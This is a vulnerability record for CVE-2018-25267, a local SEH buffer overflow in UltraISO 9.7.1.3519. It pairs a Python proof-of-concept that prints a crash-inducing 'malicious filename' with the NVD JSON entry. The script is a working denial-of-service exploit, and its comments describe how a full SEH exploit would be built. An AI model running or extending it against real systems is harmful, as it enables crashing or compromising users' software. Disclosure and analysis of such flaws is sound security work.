CVE-2018-25267

# Proof of Concept for CVE-2018-25267 (UltraISO Buffer Overflow) # This script generates a malicious string to trigger the vulnerability. import sys def generate_payload(): # 1. Padding to reach the SEH record (approx 304 bytes) padding = b"A" * 304 # 2. Overwrite Next SEH # \xeb\x06 is a short jump forward 6 bytes to skip the SE handler # \x90 is a NOP (No Operation) instruction nseh = b"\xeb\x06\x90\x90" # 3. Overwrite SE Handler # In a real exploit, this would be the address of a POP POP RET instruction. # Using 0x90909090 here will likely cause a crash (Access Violation), demonstrating the DoS. seh = b"\x90\x90\x90\x90" # 4. Additional payload or padding # Adding more junk to ensure the crash is triggered and the buffer is fully overflowed junk = b"C" * 500 # Combine all parts payload = padding + nseh + seh + junk return payload if __name__ == "__main__": exploit_buffer = generate_payload() print("[+] Malicious filename generated successfully.") print(f"[+] Payload length: {len(exploit_buffer)} bytes") print("[+] Copy the string below and paste it into the 'Output FileName' field in UltraISO 9.7.1.3519:") print(exploit_buffer.decode('latin-1'))

{"cve": {"id": "CVE-2018-25267", "sourceIdentifier": "[email protected]", "published": "2026-04-22T16:16:47.237", "lastModified": "2026-04-29T23:27:51.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "UltraISO 9.7.1.3519 contains a local buffer overflow vulnerability in the Output FileName field of the Make CD/DVD Image dialog that allows attackers to overwrite SEH and SE handler records. Attackers can craft a malicious filename string with 304 bytes of data followed by SEH record overwrite values and paste it into the Output FileName field to trigger a denial of service crash."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ezbsystems:ultraiso:9.7.1.3519:*:*:*:*:*:*:*", "matchCriteriaId": "244D9C6B-63AA-49BC-84A8-06C66F44FCBF"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/45996", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.ultraiso.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/ultraiso-buffer-overflow-via-output-filename", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}